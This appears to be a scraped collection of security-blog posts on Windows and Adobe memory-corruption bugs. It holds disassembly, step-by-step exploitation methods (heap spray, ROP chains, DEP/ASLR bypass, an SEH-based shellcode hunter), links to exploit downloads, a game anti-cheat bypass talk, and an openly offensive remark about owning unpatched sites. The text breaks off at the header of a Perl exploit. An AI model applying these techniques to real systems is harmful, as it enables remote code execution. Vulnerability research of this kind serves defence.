we tried for other case in exploit bounty this time for a 500$ one .

no luck for successful exploitation and to be honest we didn’t tried so hard . at least we got a PoC and here is our analysis for this cool bug.

1) Advisory information

  Discovery         :  Nicolas july from vupen

  Analysis            :  Abysssec.com

  Vendor             :  http://www.microsoft.com

  Impact              :  High

  Contact            :  info  [at] abysssec.com

  Twitter             : @abysssec

  CVE                   : CVE-2011-0041

2) Vulnerable version

3) Vulnerability information

        1-Integer overflow

Impact

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of vulnerable application or cause denial-of-service conditions.

Remotely Exploitable

Yes

Locally Exploitable

Yes

4) Vulnerabilities detail

The vulnerability exists in gdiplus!GpPath::CreateDashedPath function of gdiplus.dll that is responsible for bitmap drawing and other 2d graphic rendering. EMF+ file is one of the image file format that is rendered by the library. And the vulnerability is based on some floating point calculation of an EMF+ path object.

We made the following proof of concept to trigger the issues and it will be explained more:

A little taste of file format we simply put a EMF_COMMENT record (id = 0×00000046) and embed and emf+ geraphic object ( id = 0×00004008 ) . For simplicity we ripped out a valid graphic object from another file and started to play with it. The record have two important area that we highlighted them in the above picture.

Here is the faulty code:

.text:4ECFCBAD                 mov     eax, esi

.text:4ECFCBAF                 shl     eax, 3

.text:4ECFCBB2                 cmp     [ebp+lpMem], 0

.text:4ECFCBB6                 push    eax             ; dwBytes

.text:4ECFCBB7                 jz      short loc_4ECFCBCE

.text:4ECFCBB9                 push    [ebp+lpMem]     ; lpMem

.text:4ECFCBBC                 call    GpRealloc(x,x)

.text:4ECFCBC1                 test    eax, eax

.text:4ECFCBC3                 jz      loc_4ECFCCDB

.text:4ECFCBC9                 mov     [ebp+lpMem], eax

.text:4ECFCBCC                 jmp     short loc_4ECFCBDE

.text:4ECFCBCE ; —————————————————————————

.text:4ECFCBCE

.text:4ECFCBCE loc_4ECFCBCE:                      

.text:4ECFCBCE                 call    GpMalloc(x)

.text:4ECFCBD3                 test    eax, eax

.text:4ECFCBD5                 mov     [ebp+lpMem], eax

.text:4ECFCBD8                 jz      loc_4ECFCCDB

The above code uses the eax register as arguments to the GpMalloc function. GpMalloc is simply a gdi version of heapAlloc function. The value of eax register is based on various floating point calculation that is not simple to examine at first look.

But I traced the value of eax register and it seems the calculations are based on our values mentioned earlear in the file.  And it doesn’t bound checked well, by changing the path value tricky it is possible when the “shl    eax, 3” instruction multiply the value by 8 we get an integer overflow and in turn a faulty heap allocation.

I dynamically traced the values with my proof of concept file. Eax register is equall to eax + [ebp-38] * 10 and as there are a lot of values and calculations before that, for better consideration I made the following diagram:

It took a lot of time explanation of all of the variables above but, the important one is the GpPath object that is in the code a clone of the object is made to later be manipulated for drawings.

.text:4ECFC9D9                 fld     dword ptr [esi+eax*4]

.text:4ECFC9DC                 fmul    [ebp+arg_0]

.text:4ECFC9DF                 fstp    dword ptr [esi+eax*4]

.text:4ECFC9E2                 inc     eax

.text:4ECFC9E3                 cmp     eax, [ebp+arg_4]

.text:4ECFC9E6                 jl      short loc_4ECFC9D9

.text:4ECFC9E8

.text:4ECFC9E8 loc_4ECFC9E8:                      

.text:4ECFC9E8                 mov     ecx, [ebp+var_18] ; Src

.text:4ECFC9EB                 call    GpPath::Clone(void)

.text:4ECFC9F0                 mov     edi, eax

.text:4ECFC9F2                 test    edi, edi

.text:4ECFC9F4                 jz      loc_4ECFCDBA

.text:4ECFC9FA                 mov     eax, [edi]

.text:4ECFC9FC                 mov     ecx, edi

.text:4ECFC9FE                 call    dword ptr [eax+4]

After calling the clone, it checks whether it is a valid clone or not at address 4ECFC9FE.

The offset +34h of the object contains a pointer to our 4byte path object values.

0e03ca50  4ec67e58 68745031 00000000 00000000

0e03ca60  0e03ca74 0e03ca74 00000010 00000010

0e03ca70  00000002 00000100 00000000 00000000

0e03ca80  00000000 0e03ca98 0e03ca98 00000010

0e03ca90  00000010 00000002 449a8eab 458ac500

0e03caa0  449a8eab 4e0000fe 00000000 00000000

0e03cab0  00000000 00000000 00000000 00000000

0e03cac0  00000000 00000000 00000000 00000000

Our floating point values in the file format:

0e03caa8  00000000 00000000 00000000 00000000

But there are some modifications on our values before we get the faulty code. First after the clone is performed GpPath::Flatten function made some changes to our values based on a transform matrix in the file. So this is cause of the highlighted 6 DWORDs in the file.­­­

.text:4ECFCA01                 test    eax, eax

.text:4ECFCA03                 jz      loc_4ECFCDBA

.text:4ECFCA09                 fld     ds:flt_4ECB80FC

.text:4ECFCA0F                 push    ecx             ; float

.text:4ECFCA10                 lea     eax, [ebp+var_F8]

.text:4ECFCA16                 fstp    [esp+108h+var_108]

.text:4ECFCA19                 push    eax             ; int

.text:4ECFCA1A                 mov     ecx, edi

.text:4ECFCA1C                 call    GpPath::Flatten(GpMatrix const *,float)

.text:4ECFCA21                 cmp     [ebp+var_2C], 0

Flattened GpPath object values:

0e03cd18  449a7eab 458ac100 449a7eab 4e0000fd

0e03cd28  00000000 00000000 00000000 00000000

And after that our changed GpPath object is sent to calculateGradiantArray and some array of floating point values are made based on its calculation.

There are many other default floating point values has effects on the value of the overflowing size for GpMalloc that are not so interesting and I’ve just shown them on the diagram.

After the calculation integer wrapped, the heap allocated by the gpMalloc function is not big enough to hold our data. So in next uses of the wrapped allocated heap the corruption occurs. But it seems there is not a straight way of exploiting such heap corruptions using a standalone file. .

PoC link   : http://abysssec.com/files/GDI_PoC.zip

is this post we are going to do some clarification also share and drop some random 0day DEP/ASLR bypass using 3rd parties .

due to there is lots of things to say we wrote all the notes as an article called “The Arashi”.

Table of content :

===============================================================

Introduction and warning

The Story of Sayonara

First Method: ASLR Bitter

Second Method: Process Explorer

Narly Windbg Extension

Mona / PVEFindAddr

Ropping this fun DLL

First 0day tatsumaki

Second (half) 0day Ikazuchi

Third 0day Sugokunai

Final Note

===============================================================

and finally  here you can download it from  : here

note that the offer in paper will be expire in 10 day so if you are verified and need one of modules let us know .

as always feel free to contact us : info [at] abysssec.com

and also follow @abysssec in twitter

1) Advisory information

2) Vulnerable version

3) Vulnerability information

4) Vulnerability detail

Here we have type confusion vulnerability in ActionScript bytecode language. The cause of these vulnerabilities is because of implementation of verification process in AS3 jit engine that because of some miscalculation in verifying datatype atoms, some data replaces another type of data and the confusion results in faulty machine code.

Action script has the following structure. First our scripts are compiled using an action script compiler like flex to AS3 ByteCodes and embed it to DoABC, DoAction or DoInitAction tags in swf file format. When flash player opens the swf file, bytecodes are compiled to a jitted machine code through verification and generation process. Verification process is responsible for checking bytecodes to be valid instructions and it pass the valid bytecodes to generation process, thus generation process produces the machine code in memory.

According to Dion Blazakis’s JIT Spray paper:

To handle this runtime typing requirement, the ActionScript interpreter represents internal objects using tagged pointers – internal, this object is called an “atom”. Tagged pointers are a common implementation technique to differentiate between those objects stored by value and those stored by reference using the same word sized memory cell. A tagged pointer stores type information in the least significant bits and stores a type specific values in the most significant bits. As shown in Illustration 1, the ActionScript atom is 32 bits wide; it allocates 3 bits to store the type information and uses 29 bits for the value.

So if it would be possible to confuse verifier too act an atom as another atom by some bytecode changes it would be possible to generate faulty code that most of the times lead to disclosing a vtable pointer call to the attacker.

The bug is perfectly presented in Haifei li recent slides. We have OriginalClass and RefClass with the same functions. Func1 – OriginalClass return a class objects, but Func1 – RefClass returns another type. By changing a byte in the bytecode we have confused AS3 to execute RefClass functions in the main class. After that verifier confuses the return type of the function with an OriginalClass object and generate faulty code with the vtable under the control of the return value.

Exploitation:

For exploitation purpose on recent protections on windows 7 without any 3^rd party, it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address.

Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase.

Step2: leak address of the shellcode with the same pointer and NewNumber trick.

Step3: send imageBase & shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string.

Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object.

Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable.

5) Conclusion

Finally we got the point that memory leakages are extremely useful in modern exploitation to bypass DEP, ASLR protections. It would be possible to find same atom confusion situation and other object leakage in adobe flash player. Kudos to haifei li for his great research, although it was not that simple to implement a reliable exploit with just slides without attending in talk.

6) Refrences

http://www.cansecwest.com/csw11/Flash_ActionScript.ppt

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

7) Exploit-Code

Here you can get our reliable exploit against windows 7 :

calc.exe payload

Download : CVE-2010-3654_Win7

if you need other payloads for sure you know how to change it ;)

as always feedbacks are welcomed and you can follow @abysssec in twitter to getting updates .

Happy Hunting !

we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in immunity infiltrate and as we missed that so here we go .

This research is about hacking /exploiting / cheating in online games and is sponsored by immunity.

This is a six part talk and contains:

Part I   : introduction

Part II: Hacking Online Game Servers

Part III: Exploiting Online Games

Part IV: Cheating in Online games

Part V   : Creating your own cheats

Part VI: Bypassing anti-cheat engines

Real world cheating is mainly focused on in this talk as it’s fun and legal.
During this talk we will have a tour into all the ways to manipulate an online game
and we will end up with bypassing the latest anti-cheating technologies and
manipulating the game to our heart’s desire.

Our case studies are:

1 -counter strike (half-life) as game:

2- SXE-Injected and Valve-anti cheat (VAC) as anti-cheat engines

Our codes will be release soon as soon we can but if you are hurry to use some cheats you can find almost all necessary codes in slides also there is two demos for proofing our research. We really enjoyed this research and it’s done from our side hope you enjoy too.

You can download slides here:

ppt : Exploiting-Online-Games

Font : in case if you have problem with embedded one

PDF : Exploiting-Online-Games

PS 1 : video demos are ready but due to those are huge we need to find a better way to compress them after that we will post them here.

PS 2 : Tools will be release after a while .

For getting updates about tools / videos please follow @abysssec in twitter.

For any question please contact:

Shahin [at] abysssec.com

For any other requirement please contact:

Info [at] abysssec.com

Kind Regards

2) Vulnerable version

3) Vulnerability information

4) Vulnerabilities detail

Introduction

Shockwave player is a plug in for loading Adobe Director video files in to the browser. Director movies have DIR or compressed format of DCR.  DIR file format is based on RIFF based formats. RIFF formats start with a 4byte RIFX identifier and length of the file. And subsequently chunks come together with format of 4byte chunk identifier + size of chunk + data. Some of the chunk identifiers are tSAC, pami, rcsL.

By help of our simple fuzzer we have manipulated a director movie file and found a vulnerability in part of an existing rcsL chunk.

Vulnerability explanation

There is a 4bytes value in the undocumented rcsL chunk in our sample director movie and it may be possible to find similar rcsL chunks in other director samples. The 4bytes so called value can be manipulated to reach the vulnerable part of function 68122990. Here is the function:

In the above function we have direct control on the second argument of the function. By manipulating the argument in rcsL chunk we reach to an indirect call that is based on our arguments:

The above code is our vulnerable part. EAX register is set with second argument that we have control on it and ESI is first argument of the function and is a pointer to a dynamic allocated structure in heap. Value of offset 28h of the structure that is unknown is set in ECX register and finally an indirect call to the ‘ECX+EAX*24+20h’ is done. Because result of EAX*24 is a large value and we have complete control on EAX register we can almost control first byte of our indirect call pointer without the need of ECX register.

Exploitation :

For exploitation purpose because we don’t have a fixed address in our call we cannot control the execution flow to an exact value but we can jump to a specific range because we have control on first bytes of the pointer of indirect call. So here by abusing javascript we can use old-school heap spray technic to fill memory with nops+shellcode and call to this range.

To control the 4 bytes EAX register in our exploit we manipulated 4bytes at offset 4C4B of the file to value FFF00267.

An important hint here is that because we call the indirect pointer the EIP is set to nops itself. As you know an EIP of 90909090 is invalid. But we can use other opcodes as nopslides that doesn’t have any effect. In our test sample we used 0a0a0a0a as both base range of heap spray and nopslides because 0a0a opcode is an OR instruction on some unimportant registers.

The sample + exploit are tested on patched windows XP service pack 3.

here is exploit + binary analysis link:

http://abysssec.com/files/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip

Proof Video : Here

PS 1 : this vulnerability is not patched bug released by ZDI http://www.zerodayinitiative.com/advisories/ZDI-10-162/

PS 2 : it’s possible to exploit this vulnerability on modern windows like Vista/7 too and it’s up to readers …

related links:

http://www.vupen.com/english/advisories/2010/2752

http://secunia.com/advisories/41932

CVE-2010-3653

http://www.adobe.com/products/player_census/shockwaveplayer/

http://www.adobe.com/support/security/advisories/apsa10-04.html

Happy Hacking !

Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications .

here is summary:

Day1:

Binary Analysis:

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer – Binary Analysis

0day:

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

———————————————————————————–

Day2:

Binary Analysis:

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Vulnerability – Binary Analysis

0day:

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day3:

Binary Analysis:

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner – Binary Analysis

0day:

MOAUB #3 – Visinia 1.3 Multiple Vulnerabilities

MOAUB #3 – Visinia CMS Multiple Vulnerabilities – 0day

———————————————————————————–

Day4:

Binary Analysis:

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016)

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) – Binary Analysis

0day:

MOAUB #4 – syndeocms 2.8.02 Multiple Vulnerabilities

MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities – 0day

———————————————————————————–

Day5:

Binary Analysis:

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution Exploit

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution – Binary Analysis

0day:

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

———————————————————————————–

Day6:

Binary Analysis:

MOAUB #6 – HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution

MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution – Binary Analysis

0day:

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day7:

Binary Analysis:

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

0day:

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day8:

Binary Analysis:

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow – Binary Analysis

0day:

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities – 0 day

———————————————————————————–

Day9:

Binary Analysis:

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

0day:

FestOS CMS 2.3b Multiple Remote Vulnerabilities

MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities

———————————————————————————–

Day10:

Binary Analysis:

MOAUB #10 – Excel RTD Memory Corruption

MOAUB #10 – Excel RTD Memory Corruption

0day:

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

———————————————————————————–

Day11:

Binary Analysis:

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

0day:

MOAUB #11 – ASP Nuke SQL Injection Vulnerability

MOAUB #11 – ASP Nuke Sql Injection Vulnerability

———————————————————————————–

Day12:

Binary Analysis:

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

0day:

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

———————————————————————————–

Day13:

Binary Analysis:

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

0day:

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

———————————————————————————–

Day14:

Binary Analysis:

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow

0day:

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

———————————————————————————–

Day15:

Binary Analysis:

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

0day:

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

———————————————————————————–

Day16:

Binary Analysis:

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

0day:

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

———————————————————————————–

Day17:

Binary Analysis:

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

0day:

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

———————————————————————————–

Day18:

Binary Analysis:

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

0day:

MOAUB #18 – CMSimple XSRF Vulnerability

MOAUB #18- CMSimple XSRF Vulnerability

———————————————————————————–

Day19:

Binary Analysis:

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

0day:

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

———————————————————————————–

Day20:

Binary Analysis:

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

0day:

MOAUB #20 – VWD-CMS CSRF Vulnerability

MOAUB #20 – VWD-CMS CSRF Vulnerability

———————————————————————————–

Day21:

Binary Analysis:

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

0day:

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

———————————————————————————–

Day22:

Binary Analysis:

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

0day:

MOAUB #22 – gausCMS Multiple Vulnerabilities

MOAUB #22 – gausCMS Multiple Vulnerabilities

———————————————————————————–

Day23:

Binary Analysis:

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

0day:

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

———————————————————————————–

Day24:

Binary Analysis:

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

0day:

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

———————————————————————————–

Day25:

Binary Analysis:

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

0day:

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

———————————————————————————–

Day26:

Binary Analysis:

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

0day:

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

———————————————————————————–

Day27:

Binary Analysis:

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

0day:

MOAUB #27 – ndCMS Sql Injection Vulnerability

MOAUB #27 – ndCMS Sql Injection Vulnerability

———————————————————————————–

Day28:

0day:

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

0day:

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

———————————————————————————–

Day29:

Binary Analysis:

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

Day30:

Binary Analysis:

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

0day:

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

———————————————————————————–

Press :

PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.

at end we are happy with result and your kind feedback.

for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .

please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .

as always finally if you have any question feel free to contact :

shahin [at] abysssec.com

info [at] abysssec.com

]]> http://www.abysssec.com/blog/2010/09/01/moaub-1/feed/ 0 http://www.abysssec.com/blog/2009/05/22/not-dead-just-busy/ http://www.abysssec.com/blog/2009/05/22/not-dead-just-busy/#comments Fri, 22 May 2009 07:50:24 +0000 shahin http://www.abysssec.com/blog/?p=331 hello to all of our dear reades .

we are not dead , just really busy in doing our projects . but there is a few notes  I’d like to enclose with you  .first of all about 2 Web Based vulnerability we’ve report to milw0rm .  we haven’t free time to working on educational sources . and those vulnerability was special for us because those portal was commercial portals uses for our “government”  , “private” web sites. and we’ve report those for helping our autonomous applications .

by the way if you like to see those vulnerabilities here you are :

first DOURAN Portal <= 3.9.0.23 Multiple Remote Vulnerabilities

second Dana Portal Remote Change Admin Password Exploit

third about adobe exploit my next  writeup will be about PDF hacking / exploiting stuff (soon) .

and finally about future :

we believe to “no more free bugs” so after reporting a few more vulnerabilities / exploit maybe we don’t report more transparent / reliable exploit (as past) . maybe just PoC’s or just papers or just advisories titles or … . but who knows ?!

then :

we will try to update site with respectable index and more post on our blogs but you should take our apology for our late and unfaithfulness .

and final note :

unfortunately for a few reasons we disabled  commenting system on blogs but feel free to contact us with our mails.

for now you can use admin [at] abysssec.com .

keep on to visit us .

hope to see you soon .

i wrote this exploit 2 hour after publishing PoC on milw0rm

but now there is a lots of mirror and version of this exploit on net !

maybe i release DEP-enabled / IE protection bypass version on variant os too .

Anyway Here is the code :

http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt

mirror : http://milw0rm.com/exploits/8079

Cheers !!!

Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit -

Another step towards perfect exploitation

This is my next article explaining my second public exploit implementing my recent Shellhunting technique.

Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.

The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit?

Here is why:-

1. To overflow the buffer, 280 bytes and above are needed, this isn’t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.
2. To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.
   
3. This address includes a “\x00″ byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.

Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.With the Shellhunter the shellcode may even include NULL bytes!

Lets recap what a shellhunter does:-

1. Searches through memory for a certain “lookout” value that when located will revert program execution flow to the address at the “lookout”. Also the “lookout” values must be a set of friendly instructions that will not cause an unneeded “Access Violation”.
2. In this case there is no need for it to be alphanumerical, also size does not matter.

The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape’s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).

Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the whole memory with the shellhunter.

Of course there are a few problems that come to mind with that:

• Access Violations will occur when retrieving data from an invalid address.
• We need to store the variable which is address currently searched.
• The applications memory is a huge range from 0×00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.
• Also, but I’ll discuss about this later, the stack layout has to be repaired by the shellhunter..

Wow, a load of problems.

Now I will write up how I solved them.

Access Violation problem when reading invalid memory

The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.

Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:

[ Pointer to the next SEH record]

[Pointer to exception handler code]

Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the “Pointer to exception handler code” point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.

If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the “lookout” value, if invalid, exception occurs and then again all over we set up SEH and check for “lookout”.

Save the current address variable somewhere in the heap

In this problem I used the address 0x7ffdfad0. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.

Speedy search through memory

At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used 32 bytes. But this also needed to increase the amount of “lookout” values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over 64*4 bytes of “lookout” value in the exploit!).

Repairing the Stack layout

This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.

That’s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don’t hesitate to contact me at skdrat<at>hotmail<.>com (MSN Messenger).

Read the exploit below, and enjoy it!

Milw0rm exploit URL: http://milw0rm.com/exploits/7727

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

 
    #!/usr/bin/perl
    # Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit
    # -----------------------------------------------------------------
    # Discovered/Exploit by SkD                    (skdrat@hotmail.com)
    # -----------------------------------------------------------------
    #
    # This is a continuation of my new method, shellhunting.
    # The exploit is far more advanced than the Amaya's as it runs on
    # every system, partly because the shellhunter itself is very much
    # reliable and universal.
    # The shellhunter does the following tasks to find and exec.
    # shellcode:-
    #
    # 1- Searches through the whole memory of the application.
    # 2- Installs a SEH handler so on access violations it won't
    #    stop hunting for the shellcode.
    # 3- Repairs stack so a stack overflow won't occur (that is what
    #    happens when the SEH is called up, many PUSH instructions
    #    are called from the relevant modules (ntdll, etc).
    # 4- Improved speed by searching through 32 bytes at a time.
    # 5- Uses a certain address in memory to store a variable for the
    #    search.
    #
    # It is very stable and will allow any shellcode (bind/reverse shell,
    # dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).
    #
    # Yeah, I guess that's about it. Took me a few hours to figure out the
    # whole thing but nothing is impossible ;).
    #
